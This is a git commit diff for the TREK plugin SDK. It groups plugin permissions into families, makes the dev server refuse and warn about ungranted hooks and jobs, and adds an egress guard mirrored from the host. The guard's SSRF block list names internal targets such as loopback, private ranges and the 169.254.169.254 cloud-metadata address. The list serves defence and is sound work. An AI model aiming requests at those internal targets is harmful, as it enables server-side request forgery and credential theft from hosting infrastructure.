fix(sdk) harden dev environment

This commit is contained in:
jubnl
2026-07-13 19:42:29 +02:00
parent 6c8fcb29de
commit c3fbfaf1e9
14 changed files with 1124 additions and 54 deletions
+3 -5
View File
@@ -12,6 +12,9 @@
import { createHash } from 'node:crypto';
import path from 'node:path';
import { validateManifest, isSatisfiableRange, isUnboundedRange, KNOWN_ADDONS } from '../../manifest.js';
// The hosts a plugin can ACTUALLY reach. See `code.egress-reachable` for why this is the
// only list that counts — and permissions.ts for why dev's egress guard uses the same one.
import { grantedHosts } from '../../permissions.js';
import { LUCIDE_ICON_NAMES } from '../../lucide-icon-names.js';
import { listZipNames } from '../../zip.js';
import { checkSignatureShape } from '../verify-signature.js';
@@ -33,11 +36,6 @@ const NATIVE_RE = /(^|\/)[^/]+\.node$|(^|\/)binding\.gyp$|(^|\/)prebuilds?\//i;
const str = (v: unknown): string => (typeof v === 'string' ? v : '');
const arr = (v: unknown): string[] => (Array.isArray(v) ? v.map(String) : []);
/** The hosts a plugin can ACTUALLY reach. See `code.egress-reachable` for why this is the only list that counts. */
function grantedHosts(permissions: string[]): string[] {
return permissions.filter((p) => p.startsWith('http:outbound:')).map((p) => p.slice('http:outbound:'.length)).filter(Boolean);
}
// ── manifest ────────────────────────────────────────────────────────────────────
const manifestPresent: OfflineCheck = {
+15 -5
View File
@@ -11,8 +11,8 @@ import { execFileSync } from 'node:child_process';
import { createRequire } from 'node:module';
import {
intro, outro, note, logInfo, logSuccess, logWarn, spinner,
promptText, promptSelect, promptMultiselect, promptConfirm,
PERMISSION_CATALOG,
promptText, promptSelect, promptMultiselect, promptGroupMultiselect, promptConfirm,
PERMISSION_FAMILIES,
} from './ui.js';
import { KNOWN_ADDONS } from '../manifest.js';
import { LUCIDE_ICON_NAMES } from '../lucide-icon-names.js';
@@ -483,11 +483,21 @@ export async function interactiveScaffold(defaultDir: string, presetName?: strin
defaultValue: 'Describe what your plugin does.',
});
const permissions = await promptMultiselect<string>({
message: 'Which permissions does it need?',
options: PERMISSION_CATALOG.map((p) => ({ value: p.value, label: p.label, hint: p.hint })),
// ONE prompt, grouped by area. 58 permissions in a flat list is unreadable, but asking in
// two steps (areas → permissions) was worse: Clack has no "back", so picking the wrong
// areas was a dead end you could only escape with ^C. A grouped multiselect is a single
// scrollable screen — space toggles a permission, or a whole area from its header.
const permissions = await promptGroupMultiselect<string>({
message: 'Which permissions does it need? (space toggles; a group header toggles the whole area)',
options: Object.fromEntries(
PERMISSION_FAMILIES.map((f) => [
`${f.label} — ${f.hint}`,
f.permissions.map((p) => ({ value: p.value, label: p.value, hint: p.hint })),
]),
),
initialValues: ['db:own'],
required: false,
selectableGroups: true,
});
let egress: string[] | undefined;
+79 -5
View File
@@ -7,6 +7,14 @@
* node:sqlite, serves your routes over HTTP and your page/widget UI, and reloads
* on every save.
*
* Enforcement is NOT limited to ctx. TREK gates hooks, event subscriptions, jobs
* and outbound network BEFORE a plugin's ctx is ever reached, and it does so
* SILENTLY — an ungranted hook is simply never called, with no error and no log, so
* "my plugin does nothing" is all the author ever sees. Dev therefore refuses the
* same things, loudly: it warns at load about every entry point you implement but
* did not grant (see grantGaps), returns 403 from /__dev/fire for one, and installs
* the real egress guard so an undeclared host fails here rather than after install.
*
* Dependency-free: node:http + node:sqlite (when present) + built-ins.
*/
import fs from 'node:fs';
@@ -16,6 +24,11 @@ import { createRequire } from 'node:module';
import * as sdk from '../index.js';
import { injectTrekUi } from '../ui/kit.js';
import { readJsonFile } from './json.js';
import {
PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION,
grantGaps, grantedHosts, type GrantGap,
} from '../permissions.js';
import { installEgressGuard } from '../egress-policy.js';
// Dev fixtures ARE mock-host options — the dev ctx delegates every non-db-own
// capability to a grant-enforcing mock host, so dev-fixtures.json can seed the full
@@ -36,7 +49,34 @@ interface PluginLike {
hooks?: Record<string, Record<string, Handler>>;
}
class PermissionDenied extends Error {}
// /__dev/fire/<kind> → the permission TREK requires before it would ever fire that
// entry point. `hook` is resolved per hook name via HOOK_PERMISSION instead.
const FIRE_PERMISSION: Readonly<Record<string, string | undefined>> = {
job: JOBS_PERMISSION,
scheduled: JOBS_PERMISSION,
event: EVENTS_PERMISSION,
deleteUserData: USER_DATA_PERMISSION,
exportUserData: USER_DATA_PERMISSION,
};
/** Refuse an entry point the manifest never granted. An unknown kind/hook has no
* permission to check — it falls through to the handler's own 400/404. */
function needGrant(grants: ReadonlySet<string>, perm: string | undefined, what: string): void {
if (perm && !grants.has(perm)) {
throw new PermissionDenied(
`PERMISSION_DENIED: ${what} requires "${perm}" — add it to permissions in trek-plugin.json. ` +
`TREK would never fire this entry point (it skips ungranted plugins silently).`,
);
}
}
/** Warn about every entry point the plugin implements but cannot run. Printed at load
* and on every hot reload, because this failure is invisible in production. */
function printGaps(gaps: GrantGap[]): void {
for (const g of gaps) {
console.warn(` ⚠ ${g.entryPoint} is implemented but "${g.permission}" is NOT granted — ${g.consequence}`);
}
}
// The same SQL guards the real host's PluginDataDb applies (plugin-data.service.ts):
// forbidden statement types, an sql-length cap, a result-row cap, and — inside tx() —
@@ -277,10 +317,18 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise
const req = createRequire(path.join(abs, 'server', 'index.js'));
let plugin: PluginLike = {};
let gaps: GrantGap[] = [];
let version = 0;
const { ctx, userlessCtx } = createDevContext(id, grants, fx, db, broadcasts);
const port = opts.port ?? 4317;
// The plugin's outbound network, restricted to the hosts it was granted — with none,
// everything is blocked, exactly as in TREK. `operatorEgressHosts` in dev-fixtures.json
// stands in for the hosts an admin supplies at runtime to an `operatorEgress` plugin,
// which by definition cannot name them in its manifest.
const egressHosts = [...grantedHosts(grants), ...(fx.operatorEgressHosts ?? [])];
installEgressGuard(egressHosts);
// Block a browser-initiated cross-site request to the side-effectful endpoints:
// modern browsers stamp Sec-Fetch-Site (anything but same-origin is another site;
// 'none' is the user's own address bar and stays allowed), and every browser sends
@@ -304,17 +352,25 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise
await plugin.onLoad?.(ctx);
version++;
console.log(` ↻ loaded ${plugin.routes?.length ?? 0} route(s)`);
// Recomputed on every reload: adding a hook (or removing its permission) mid-session
// must change the warning, not leave a stale one from boot. The initial load's gaps
// are printed by the startup banner; a reload prints its own (see reload()).
gaps = grantGaps(plugin, grants);
} catch (e) {
// A plugin whose load/onLoad throws would fail activation in TREK — don't
// keep serving its routes here, or dev would hide exactly that failure.
plugin = {};
gaps = [];
console.error(' ✗ plugin failed to load:', e instanceof Error ? e.message : e);
}
};
await load();
let timer: NodeJS.Timeout | null = null;
const reload = () => { if (timer) clearTimeout(timer); timer = setTimeout(() => { console.log(' change detected'); void load(); }, 120); };
const reload = () => {
if (timer) clearTimeout(timer);
timer = setTimeout(() => { console.log(' change detected'); void load().then(() => printGaps(gaps)); }, 120);
};
watchTree(path.join(abs, 'server'), reload);
watchTree(path.join(abs, 'client'), reload);
@@ -344,6 +400,10 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise
if (typeof bodyRaw === 'string') { try { payload = JSON.parse(bodyRaw); } catch { payload = bodyRaw; } }
if (payload === undefined) { const q: Record<string, string> = {}; url.searchParams.forEach((v, k) => { q[k] = v; }); if (Object.keys(q).length) payload = q; }
try {
// TREK gates these entry points on a permission BEFORE the plugin is reached, and
// an ungranted one is never invoked — silently. Refuse it here, loudly, or dev
// would keep green-lighting a plugin that does nothing at all once installed.
needGrant(grants, kind === 'hook' ? HOOK_PERMISSION[name] : FIRE_PERMISSION[kind], `${kind}${name ? `/${name}` : ''}`);
// Jobs, scheduled tasks, events and the GDPR handlers run with NO acting user in
// production — fire them against the userless ctx so a membership read fails here
// exactly like it would in TREK. Hooks stay user-bound.
@@ -381,7 +441,7 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise
}
}
if (url.pathname === '/') return send(200, dashboard(id, String(manifest.type), plugin.routes ?? [], dbNote, broadcasts.length), 'text/html; charset=utf-8');
if (url.pathname === '/') return send(200, dashboard(id, String(manifest.type), plugin.routes ?? [], dbNote, broadcasts.length, gaps), 'text/html; charset=utf-8');
// Faithful host preview: embeds /ui in a sandboxed opaque-origin iframe (exactly
// like TREK) and plays the host — posts trek:context (with a theme/accent toggle),
@@ -463,6 +523,8 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise
console.log(`\n trek-plugin dev — ${id} (${String(manifest.type)})`);
console.log(` ${dbNote}`);
console.log(` granted: ${[...grants].join(', ') || '(none)'}`);
console.log(` egress: ${egressHosts.join(', ') || '(none — all outbound is blocked, as in TREK)'}`);
printGaps(gaps);
console.log(`\n ▸ http://localhost:${port}/ dashboard`);
if (String(manifest.type) !== 'integration') {
console.log(` ▸ http://localhost:${port}/preview themed host preview`);
@@ -497,20 +559,32 @@ function contentType(file: string): string {
const LIVE_RELOAD = `<script>let __v;setInterval(async()=>{try{const v=await(await fetch('/__dev/version')).text();if(__v&&v!==__v)location.reload();__v=v;}catch(e){}},1000)</script>`;
function dashboard(id: string, type: string, routes: PluginRouteLike[], dbNote: string, bcasts: number): string {
function dashboard(id: string, type: string, routes: PluginRouteLike[], dbNote: string, bcasts: number, gaps: GrantGap[]): string {
const rows = routes.length
? routes.map((r) => `<tr><td><code>${r.method}</code></td><td><a href="/api${r.path}">/api${r.path}</a></td><td>${r.auth === false ? 'public' : 'auth'}</td></tr>`).join('')
: '<tr><td colspan="3" style="opacity:.6">no routes declared</td></tr>';
const ui = type !== 'integration'
? `<p><a href="/preview">▸ open the themed host preview (/preview)</a> &nbsp;·&nbsp; <a href="/ui">raw /ui</a></p>`
: '';
// The silent killer, made loud: in TREK these entry points are simply never invoked,
// with nothing logged anywhere. If any exist, they are the most important thing here.
const warn = gaps.length
? `<div class="warn"><strong>⚠ ${gaps.length} entry point(s) TREK would never run</strong><ul>${gaps
.map((g) => `<li><code>${g.entryPoint}</code> needs <code>${g.permission}</code> — ${g.consequence}</li>`)
.join('')}</ul><p>Add the permission(s) to <code>trek-plugin.json</code>. Until then this works in dev and does nothing once installed.</p></div>`
: '';
return `<!doctype html><meta charset="utf-8"><title>${id} · trek-plugin dev</title>
<style>body{font:15px/1.5 system-ui,sans-serif;max-width:720px;margin:3rem auto;padding:0 1rem;color:#111}
h1{font-size:1.4rem}code{background:#f3f4f6;padding:.1em .35em;border-radius:4px}
table{border-collapse:collapse;width:100%;margin:1rem 0}td{border-bottom:1px solid #eee;padding:.5rem .4rem;text-align:left}
.muted{color:#6b7280;font-size:.9rem}a{color:#4f46e5}@media(prefers-color-scheme:dark){body{background:#111827;color:#e5e7eb}code{background:#1f2937}td{border-color:#374151}}</style>
.muted{color:#6b7280;font-size:.9rem}a{color:#4f46e5}
.warn{background:#fef2f2;border:1px solid #fecaca;border-radius:8px;padding:.75rem 1rem;margin:1rem 0}
.warn ul{margin:.5rem 0;padding-left:1.2rem}.warn p{margin:.5rem 0 0;font-size:.9rem}
@media(prefers-color-scheme:dark){body{background:#111827;color:#e5e7eb}code{background:#1f2937}td{border-color:#374151}
.warn{background:#3f1d1d;border-color:#7f1d1d}}</style>
<h1>${id} <span class="muted">· ${type}</span></h1>
<p class="muted">${dbNote} · ${bcasts} ws broadcast(s) captured</p>
${warn}
${ui}
<table><tr><th>Method</th><th>URL</th><th>Auth</th></tr>${rows}</table>
<p class="muted">Add <code>?_anon=1</code> to a route to hit it as an unauthenticated request. Edit <code>server/</code> or <code>client/</code> and this reloads.</p>
+187 -23
View File
@@ -18,10 +18,12 @@ import {
text as clackText,
select as clackSelect,
multiselect as clackMultiselect,
groupMultiselect as clackGroupMultiselect,
confirm as clackConfirm,
type TextOptions,
type SelectOptions,
type MultiSelectOptions,
type GroupMultiSelectOptions,
type ConfirmOptions,
type SpinnerResult,
} from '@clack/prompts';
@@ -67,38 +69,200 @@ export const promptSelect = async <Value>(opts: Omit<SelectOptions<Value>, 'outp
export const promptMultiselect = async <Value>(opts: Omit<MultiSelectOptions<Value>, 'output'>): Promise<Value[]> =>
orCancel(await clackMultiselect({ ...opts, output: OUT }));
/**
* One multiselect, options rendered under group headers. Used for permissions: 58 of them
* in a flat list is unreadable, but splitting the pick across TWO prompts was worse — Clack
* has no "back", so choosing the wrong group was a dead end you could only escape with ^C.
* Grouping keeps it a single screen you can scroll, with no navigation to get lost in.
*/
export const promptGroupMultiselect = async <Value>(
opts: Omit<GroupMultiSelectOptions<Value>, 'output'>,
): Promise<Value[]> => orCancel(await clackGroupMultiselect({ ...opts, output: OUT }));
export const promptConfirm = async (opts: Omit<ConfirmOptions, 'output'>): Promise<boolean> =>
orCancel(await clackConfirm({ ...opts, output: OUT }));
// ── permissions ──────────────────────────────────────────────────────────────
/**
* The permissions an author can grant, each with a human hint for the multiselect.
* This list must stay in lockstep with the host's `KNOWN_PERMISSIONS`
* (server `src/nest/plugins/protocol/envelope.ts`) — same strings, same order.
* The manifest validator's `KNOWN_PERMISSIONS` (`../manifest.ts`) mirrors it too.
* Every permission an author can grant, grouped into the areas of TREK they touch.
*
* This used to be a hand-written list, and it silently fell 40 permissions behind the
* host — `create` could not offer `jobs:run`, `events:subscribe` or 7 of the 12 hooks,
* so a scaffolded plugin that needed one had no way to ask for it. The families below
* are now the ONLY place a permission may be listed, and `test/cli.test.ts` fails if a
* permission in the manifest validator's KNOWN_PERMISSIONS has no entry here. Add a
* permission to TREK ⇒ the test tells you to describe it ⇒ `create` offers it.
*
* `db:read:*` grants read the data the REQUESTING USER can already see; `db:write:*`
* grants act on trips that user can edit. Neither is a superuser grant.
*/
export const PERMISSION_CATALOG: { value: string; label: string; hint: string }[] = [
{ value: 'db:own', label: 'db:own', hint: 'A private database only this plugin can read/write' },
{ value: 'db:read:trips', label: 'db:read:trips', hint: 'Read trips the requesting user can access' },
{ value: 'db:read:users', label: 'db:read:users', hint: 'Read basic user profiles' },
{ value: 'db:read:costs', label: 'db:read:costs', hint: 'Read costs (budget items) the requesting user can access' },
{ value: 'db:write:costs', label: 'db:write:costs', hint: 'Create costs (budget items) on trips the user can edit' },
{ value: 'db:write:places', label: 'db:write:places', hint: 'Add, edit and remove places on trips the user can edit' },
{ value: 'db:write:days', label: 'db:write:days', hint: 'Add, edit and remove days on trips the user can edit' },
{ value: 'db:write:itinerary', label: 'db:write:itinerary', hint: 'Assign and remove places on days of trips the user can edit' },
{ value: 'db:write:trips', label: 'db:write:trips', hint: 'Edit trip details (title, dates, currency…) on trips the user can edit' },
{ value: 'db:meta', label: 'db:meta', hint: 'Attach its own private data to trips, places and days the user can access' },
{ value: 'ws:broadcast:trip', label: 'ws:broadcast:trip', hint: 'Push realtime events to everyone on a trip' },
{ value: 'ws:broadcast:user', label: 'ws:broadcast:user', hint: 'Push realtime events to a single user' },
{ value: 'hook:photo-provider', label: 'hook:photo-provider', hint: 'Supply place photos to TREK' },
{ value: 'hook:calendar-source', label: 'hook:calendar-source', hint: 'Supply calendar events to TREK' },
{ value: 'hook:notification-channel', label: 'hook:notification-channel', hint: 'Deliver TREK notifications over your own channel' },
{ value: 'hook:place-detail-provider', label: 'hook:place-detail-provider', hint: 'Contribute extra details (reviews, ratings, links) to a place' },
{ value: 'hook:trip-warning-provider', label: 'hook:trip-warning-provider', hint: 'Raise validation warnings on a trip (shown in the planner)' },
{ value: 'http:outbound', label: 'http:outbound', hint: 'Call external HTTP hosts (needs an egress allow-list)' },
export interface PermissionFamily {
id: string;
label: string;
hint: string;
permissions: { value: string; hint: string }[];
}
export const PERMISSION_FAMILIES: PermissionFamily[] = [
{
id: 'storage',
label: 'Its own storage',
hint: 'Where the plugin keeps data of its own',
permissions: [
{ value: 'db:own', hint: 'A private database only this plugin can read/write' },
{ value: 'db:meta', hint: 'Attach its own private data to trips, places and days the user can access' },
],
},
{
id: 'trips',
label: 'Trips & members',
hint: 'The trip itself, and who is on it',
permissions: [
{ value: 'db:read:trips', hint: 'Read trips the requesting user can access' },
{ value: 'db:write:trips', hint: 'Edit trip details (title, dates, currency…) on trips the user can edit' },
{ value: 'db:create:trips', hint: 'Create new trips for the requesting user' },
{ value: 'db:read:users', hint: 'Read basic user profiles' },
{ value: 'db:write:members', hint: 'Add and remove trip members' },
],
},
{
id: 'itinerary',
label: 'Places, days & itinerary',
hint: 'The plan itself — the planner\'s core',
permissions: [
{ value: 'db:write:places', hint: 'Add, edit and remove places on trips the user can edit' },
{ value: 'db:write:days', hint: 'Add, edit and remove days on trips the user can edit' },
{ value: 'db:write:itinerary', hint: 'Assign and remove places on days of trips the user can edit' },
{ value: 'db:read:categories', hint: 'Read the place categories TREK ships' },
{ value: 'db:read:tags', hint: 'Read the tags used to label places' },
{ value: 'db:write:tags', hint: 'Create, rename and delete tags' },
],
},
{
id: 'bookings',
label: 'Reservations & accommodation',
hint: 'Flights, trains, hotels',
permissions: [
{ value: 'db:write:reservations', hint: 'Create, edit and delete reservations (flights, trains, restaurants…)' },
{ value: 'db:write:accommodations', hint: 'Create, edit and delete accommodation (hotels, rentals)' },
],
},
{
id: 'budget',
label: 'Budget',
hint: 'Costs and splits — needs the budget addon enabled',
permissions: [
{ value: 'db:read:costs', hint: 'Read costs (budget items) the requesting user can access' },
{ value: 'db:write:costs', hint: 'Create, edit and delete costs on trips the user can edit' },
],
},
{
id: 'packing',
label: 'Packing & todos',
hint: 'Checklists — packing needs the packing addon',
permissions: [
{ value: 'db:read:packing', hint: 'Read packing lists and bags' },
{ value: 'db:write:packing', hint: 'Create, edit, tick and delete packing items and bags' },
{ value: 'db:read:todos', hint: 'Read the trip todo list' },
{ value: 'db:write:todos', hint: 'Create, edit, tick and delete todos' },
],
},
{
id: 'files',
label: 'Files & documents',
hint: 'Uploads — needs the documents addon enabled',
permissions: [
{ value: 'db:read:files', hint: 'List a trip\'s files and their metadata (NOT their contents)' },
{ value: 'db:read:files:content', hint: 'Read the actual BYTES of a file — grant this only if you truly need them' },
{ value: 'db:write:files', hint: 'Upload, link, rename and delete files' },
],
},
{
id: 'collab',
label: 'Collaboration',
hint: 'Notes, polls, chat — needs the collab addon enabled',
permissions: [
{ value: 'db:read:collab', hint: 'Read shared notes, polls and chat messages' },
{ value: 'db:write:collab', hint: 'Create notes and polls, vote, and post messages' },
{ value: 'db:read:daynotes', hint: 'Read the notes pinned to a day' },
{ value: 'db:write:daynotes', hint: 'Create, edit and delete day notes' },
],
},
{
id: 'journal',
label: 'Journal, Atlas, Vacay & collections',
hint: 'The cross-trip features — each needs its addon enabled',
permissions: [
{ value: 'db:read:journal', hint: 'Read journeys and their entries' },
{ value: 'db:write:journal', hint: 'Create and edit journeys and journal entries' },
{ value: 'db:read:atlas', hint: 'Read visited countries/regions and the bucket list' },
{ value: 'db:write:atlas', hint: 'Mark places visited and edit the bucket list' },
{ value: 'db:read:vacay', hint: 'Read vacation-day plans and balances' },
{ value: 'db:write:vacay', hint: 'Toggle vacation days and company holidays' },
{ value: 'db:read:collections', hint: 'Read saved place collections' },
{ value: 'db:write:collections', hint: 'Create collections, save places into them, and copy them to a trip' },
],
},
{
id: 'hooks',
label: 'Provider hooks (render inside TREK natively)',
hint: 'TREK calls YOU. Without the matching grant a hook is NEVER invoked — silently',
permissions: [
{ value: 'hook:photo-provider', hint: 'Supply place photos to TREK' },
{ value: 'hook:calendar-source', hint: 'Supply calendar events to TREK' },
{ value: 'hook:place-detail-provider', hint: 'Contribute extra details (reviews, ratings, links) to a place' },
{ value: 'hook:trip-warning-provider', hint: 'Raise validation warnings on a trip (shown in the planner)' },
{ value: 'hook:table-contributor', hint: 'Add columns to TREK\'s tables' },
{ value: 'hook:map-marker-provider', hint: 'Add your own markers to the map' },
{ value: 'hook:pdf-section-provider', hint: 'Add a section to the exported trip PDF' },
{ value: 'hook:atlas-layer-provider', hint: 'Add a layer to the Atlas map' },
{ value: 'hook:journal-entry-provider', hint: 'Contribute entries to a journey' },
{ value: 'hook:trip-card-provider', hint: 'Add a badge/card to the trip list' },
{ value: 'hook:notification-channel', hint: 'Deliver TREK notifications over your own channel' },
{ value: 'hook:user-data', hint: 'Implement GDPR erasure/export of the data you hold for a user' },
],
},
{
id: 'background',
label: 'Background work',
hint: 'Run without a user present. Ungranted, these never run at all',
permissions: [
{ value: 'jobs:run', hint: 'Run cron jobs and ctx.scheduler timers (no acting user)' },
{ value: 'events:subscribe', hint: 'Receive TREK events (place:created, trip:updated…) as they happen' },
],
},
{
id: 'realtime',
label: 'Realtime push',
hint: 'Push to connected clients over the websocket',
permissions: [
{ value: 'ws:broadcast:trip', hint: 'Push realtime events to everyone on a trip' },
{ value: 'ws:broadcast:user', hint: 'Push realtime events to a single user' },
],
},
{
id: 'services',
label: 'Network & host services',
hint: 'Reach the outside world, or borrow a TREK service',
permissions: [
{ value: 'http:outbound', hint: 'Call external HTTP hosts (you name the hosts next)' },
{ value: 'weather:read', hint: 'Read forecasts through TREK\'s weather service' },
{ value: 'rates:read', hint: 'Read currency exchange rates through TREK' },
{ value: 'notify:send', hint: 'Send a TREK notification to a user or trip' },
{ value: 'ai:invoke', hint: 'Call the instance\'s configured AI model' },
{ value: 'oauth:client', hint: 'Obtain OAuth access tokens for the user' },
],
},
];
/** Flat view of every permission, for the non-interactive path and the tests. */
export const PERMISSION_CATALOG: { value: string; label: string; hint: string; family: string }[] =
PERMISSION_FAMILIES.flatMap((f) =>
f.permissions.map((p) => ({ value: p.value, label: p.value, hint: p.hint, family: f.id })),
);
/** Every grantable permission id. Derived — never hand-maintained. */
export const KNOWN_PERMISSIONS: string[] = PERMISSION_CATALOG.map((p) => p.value);
// ── reporter seam (for commands that log their own progress, e.g. publish) ────
+317
View File
@@ -0,0 +1,317 @@
/**
* The plugin network guard, mirrored from the host so `dev` blocks exactly what a
* real TREK blocks.
*
* In production the plugin child wraps fetch/net/dns/dgram and allows ONLY the hosts
* granted as `http:outbound:<host>` permissions — with no such grant, all outbound is
* blocked. The dev server had no guard at all, so a plugin calling an undeclared host
* worked perfectly in dev and was refused the moment it was installed. This closes
* that gap.
*
* The pure helpers below (isBlockedIp, makeHostAllow, classifyConnect, …) are copied
* VERBATIM from the server's runtime/egress-policy.ts — trek-plugin-sdk ships
* standalone and cannot import across the package boundary. test/egress-parity.test.ts
* fails if the two drift.
*
* What is deliberately NOT mirrored: the host also locks its wrappers
* non-configurable and disables process.binding, to contain a HOSTILE plugin in a
* dedicated child. Dev runs YOUR code in the CLI's own process, where a plugin
* escaping the guard is not a threat anyone needs defending from — and locking the
* globals would make the guard un-restorable for tests. Dev's job here is fidelity,
* not containment.
*/
import net from 'node:net';
import dns from 'node:dns';
import dgram from 'node:dgram';
// ---------------------------------------------------------------------------
// Pure policy helpers — kept byte-identical to the server's egress-policy.ts.
// ---------------------------------------------------------------------------
/**
* Block outbound connections to loopback / private / link-local / ULA / carrier-
* grade-NAT / cloud-metadata / multicast / reserved destinations. This is the
* SSRF backstop: even a declared host that (re)resolves to one of these is
* refused, so a plugin can't pivot to trek.db's host, the 169.254.169.254
* metadata IP, the local docker network, or other internal services.
*/
export function isBlockedIp(ip: string): boolean {
const v4 = ip.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/);
if (v4) {
const a = Number(v4[1]);
const b = Number(v4[2]);
return (
a === 0 ||
a === 10 ||
a === 127 ||
(a === 172 && b >= 16 && b <= 31) ||
(a === 192 && b === 168) ||
(a === 169 && b === 254) || // link-local, incl. 169.254.169.254 metadata
(a === 100 && b >= 64 && b <= 127) || // CGNAT 100.64/10
a >= 224 // multicast + reserved
);
}
// IPv6: expand to 8 hextets so EVERY spelling is checked (compressed `::`,
// hex IPv4-mapped `::ffff:a9fe:a9fe`, dotted `::ffff:169.254.169.254`, `0::1`).
const g = expandV6(ip.replace(/^\[/, '').replace(/\]$/, ''));
if (g) {
if (g.every((x) => x === 0)) return true; // :: (unspecified)
// IPv4-mapped (::ffff:x) and IPv4-compatible (::x) → check the embedded IPv4.
if (g.slice(0, 5).every((x) => x === 0) && (g[5] === 0xffff || g[5] === 0)) {
return isBlockedIp(`${g[6] >> 8}.${g[6] & 0xff}.${g[7] >> 8}.${g[7] & 0xff}`);
}
if ((g[0] & 0xffc0) === 0xfe80) return true; // fe80::/10 link-local
if ((g[0] & 0xfe00) === 0xfc00) return true; // fc00::/7 ULA
}
return false;
}
/** Expand an IPv6 literal into its 8 numeric hextets, or null if not a valid IPv6. */
function expandV6(ip: string): number[] | null {
let h = ip.toLowerCase().replace(/%.*$/, '');
if (!h.includes(':')) return null;
const dotted = h.match(/^(.*:)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/);
if (dotted) {
const v4 = dotted[2].split('.').map(Number);
if (v4.some((n) => n > 255)) return null;
h = dotted[1] + ((v4[0] << 8) | v4[1]).toString(16) + ':' + ((v4[2] << 8) | v4[3]).toString(16);
}
const halves = h.split('::');
if (halves.length > 2) return null;
const head = halves[0] ? halves[0].split(':') : [];
const tail = halves.length === 2 && halves[1] ? halves[1].split(':') : [];
const groups =
halves.length === 2 ? [...head, ...Array(8 - head.length - tail.length).fill('0'), ...tail] : head;
if (groups.length !== 8) return null;
const nums = groups.map((x) => (x === '' ? NaN : parseInt(x, 16)));
return nums.some((n) => !Number.isInteger(n) || n < 0 || n > 0xffff) ? null : nums;
}
/** Build a declared-egress host matcher (exact host or `*.suffix` wildcard). */
export function makeHostAllow(egress: string[]): (host: string) => boolean {
const patterns = egress
.map((h) => h.trim().toLowerCase().replace(/\.$/, '')) // drop a trailing dot (FQDN trick)
.filter((p) => p && p !== '*')
// A wildcard must have a real multi-label suffix — reject the degenerate
// `*.` (matched any trailing-dot host = allow-all) and whole-TLD `*.com`.
.filter((p) => !p.startsWith('*.') || p.slice(2).includes('.'));
return (host: string) => {
const h = host.toLowerCase().replace(/\.$/, '');
return patterns.some((p) => (p.startsWith('*.') ? h === p.slice(2) || h.endsWith(p.slice(1)) : h === p));
};
}
export interface ConnectTarget {
kind: 'local' | 'literal-ip' | 'hostname';
host: string;
}
/**
* Destination host of a `dgram.Socket.send(msg[, offset, length], port[, address][, cb])`
* call, or null when no explicit address is given.
*/
export function dgramSendTarget(args: unknown[]): string | null {
const offsetForm = typeof args[1] === 'number' && typeof args[2] === 'number';
const address = args[offsetForm ? 4 : 2];
return typeof address === 'string' ? address : null;
}
/** Destination host of a `dgram.Socket.connect(port[, address][, cb])` call, or null. */
export function dgramConnectTarget(args: unknown[]): string | null {
return typeof args[1] === 'string' ? (args[1] as string) : null;
}
/**
* Node's `net.connect()` pre-normalises its arguments into an `[options, callback]`
* array and then calls `Socket.prototype.connect` with THAT ARRAY as the single
* argument. undici's plain-HTTP connector takes this path; its TLS connector does
* not — which is why HTTPS egress worked and plain HTTP silently did not.
*/
export function unwrapConnectArgs(args: unknown[]): unknown[] {
return Array.isArray(args[0]) ? (args[0] as unknown[]) : args;
}
/**
* Classify a `net.Socket.connect(...)` argument list into what we must check:
* a unix-socket/pipe (local), a literal IP (checked synchronously), or a hostname
* (allowlist + a DNS-resolving guard).
*/
export function classifyConnect(rawArgs: unknown[], isIP: (s: string) => boolean): ConnectTarget {
const args = unwrapConnectArgs(rawArgs);
const first = args[0];
if (first && typeof first === 'object') {
const o = first as { host?: string; path?: string };
if (o.path) return { kind: 'local', host: o.path };
const host = o.host ?? 'localhost';
return { kind: isIP(host) ? 'literal-ip' : 'hostname', host };
}
if (typeof first === 'string' && !/^\d+$/.test(first)) {
// a bare string that isn't a port number is an IPC path
return { kind: 'local', host: first };
}
// connect(port[, host][, cb])
const host = typeof args[1] === 'string' ? (args[1] as string) : 'localhost';
return { kind: isIP(host) ? 'literal-ip' : 'hostname', host };
}
// ---------------------------------------------------------------------------
// The dev-server guard.
// ---------------------------------------------------------------------------
/** Undo an installEgressGuard(), restoring the real fetch/net/dns/dgram. */
export type RestoreEgress = () => void;
const DNS_METHODS = [
'lookup', 'resolve', 'resolve4', 'resolve6', 'resolveAny', 'resolveCaa', 'resolveCname',
'resolveMx', 'resolveNaptr', 'resolveNs', 'resolvePtr', 'resolveSoa', 'resolveSrv', 'resolveTxt',
];
/**
* Restrict outbound network to `hosts` — the plugin's `http:outbound:<host>` grants.
* With no hosts, ALL outbound is blocked, exactly as in production. `*.example.com`
* wildcards match any subdomain.
*
* Safe to install process-wide here: the dev server itself makes no Node-side
* outbound call (its only fetch() calls live in browser-side template strings) and
* the mock host is pure fixtures — so the only caller that can trip this guard is
* the plugin, which is the point.
*
* `TREK_PLUGIN_ALLOW_PRIVATE_EGRESS=on` permits private/loopback targets — the SAME
* variable production honours, so a plugin developed against a self-hosted sibling
* service uses one lever in both places.
*/
export function installEgressGuard(hosts: string[]): RestoreEgress {
const allowed = makeHostAllow(hosts);
const blockPrivate = (process.env.TREK_PLUGIN_ALLOW_PRIVATE_EGRESS ?? '').toLowerCase() !== 'on';
// Name the fix in the error. Production can only say "not declared"; dev knows the
// author is looking at the manifest right now, so it says what to add.
const refuse = (host: string): Error =>
new Error(
`egress: ${host} is not in the plugin's declared hosts — ` +
`add "http:outbound:${host}" to permissions (and "${host}" to egress) in trek-plugin.json`,
);
const restores: RestoreEgress[] = [];
const realFetch = globalThis.fetch;
if (typeof realFetch === 'function') {
globalThis.fetch = ((input: unknown, init?: unknown) => {
const url = typeof input === 'string' ? input : (input as { url?: string })?.url ?? String(input);
let host: string;
try {
host = new URL(url).hostname.replace(/^\[/, '').replace(/\]$/, '');
} catch {
return Promise.reject(new Error('egress: invalid url'));
}
if (!allowed(host)) return Promise.reject(refuse(host));
return (realFetch as (i: unknown, n: unknown) => Promise<unknown>)(input, init);
}) as typeof fetch;
restores.push(() => { globalThis.fetch = realFetch; });
}
// Capture the real resolver before the dns module is gated below, so the connect
